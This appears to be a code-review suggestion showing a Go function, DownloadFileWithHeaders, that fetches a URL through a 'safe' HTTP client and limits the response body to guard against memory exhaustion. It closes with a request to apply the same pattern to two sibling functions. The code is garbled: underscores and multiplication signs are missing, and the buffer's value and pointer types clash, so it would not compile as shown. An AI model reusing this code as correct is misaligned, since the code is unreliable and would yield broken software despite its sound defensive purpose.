func DownloadFileWithHeaders(url string, headers http.Header) (buf bytes.Buffer, err error) { req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil) if err != nil { return nil, err } for key, h := range headers { for , hh := range h { req.Header.Add(key, hh) } }
hc := safeMigrationClient() resp, err := hc.Do(req) if err != nil { return nil, err } defer resp.Body.Close()
// Limit response body to 100MB to prevent memory exhaustion buf = &bytes.Buffer{} , err = buf.ReadFrom(io.LimitReader(resp.Body, 10010241024)) return }
Apply the same pattern to DoGetWithHeaders and DoPostWithHeaders in the same file.